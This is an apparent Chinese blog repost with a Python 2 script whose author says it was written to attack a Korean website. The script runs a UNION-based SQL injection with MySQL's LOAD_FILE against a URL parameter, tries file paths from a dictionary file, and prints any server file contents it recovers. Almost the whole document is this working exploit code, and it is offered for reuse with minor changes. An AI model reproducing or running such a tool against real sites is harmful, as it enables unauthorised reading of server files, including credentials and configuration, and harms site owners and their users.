Python in Hacking[LO

2023-01-31 05:01:34 python Hacking LO

Pnig0s p.s: ***一韩国站,遭遇Mysql4,好在有FILE权限只能批量LOAD_FILE路径,为了避免繁重的工作量写了这个脚本,字典文件名为dic.txt路径一行一个,因为环境不同,此脚本并非通用,稍作改动即可。复制代码请务必在普通IE下复制

 

  1. #!/usr/bin/python 
  2. # -*- coding:utf-8 -*- 
  3. ######################################## 
  4. #          Coder:Pnig0s1992 
  5. # A script to auto use the LOAD_FILE()  
  6. #      GTalk:pniGos70@gmail.com  
  7. #Blog:Http://pnig0s1992.blog.51cto.com/ 
  8. ######################################## 
  9. import urllib 
  10. import binascii 
  11. import string 
  12. import os 
  13. def guessPath(): 
  14.     fi = open('dic.txt','r+') 
  15.     while True: 
  16.         path = fi.readline().strip() 
  17.         if path: 
  18.             url = 'http://www.xxx.co.kr/?mode=view&no=\ 
  19.             1151 AnD 1=2 UNIOn SeleCt 1,2,3,4,5,load_file(0x'+binascii.b2a_hex(str(path))+')' 
  20.             EnUrl=urllib.quote_plus(url,safe=':\'/?&=()|') 
  21.             fd = urllib.urlopen(EnUrl) 
  22.             res = fd.read() 
  23.             Begin = res.rfind('<table width="450" border="0" cellspacing="0" cellpadding="0">') 
  24.             End = res.rfind('<table width="486" border="0" cellspacing="0" cellpadding="0">') 
  25.             tempDate = res[Begin:End] 
  26.             realBegin = tempDate.index('<td>')+4 
  27.             realEnd = tempDate.index('</td>') 
  28.             checkEmpty = tempDate[realBegin:realEnd].strip() 
  29.             if checkEmpty: 
  30.                 print path+' is exists!!!!!!!!!!!' 
  31.                 print 'Geting the data......' 
  32.                 print checkEmpty 
  33.                 os.system('pause') 
  34.             else: 
  35.                 print path+' is not exists.' 
  36.                 continue 
  37.         else: 
  38.             print 'All has finished...' 
  39.             break 
  40.  
  41. if __name__ == '__main__': 
  42.     print '__________Written by Pnig0s1992__________' 
  43.     guessPath() 

 

 

 

 

相关文章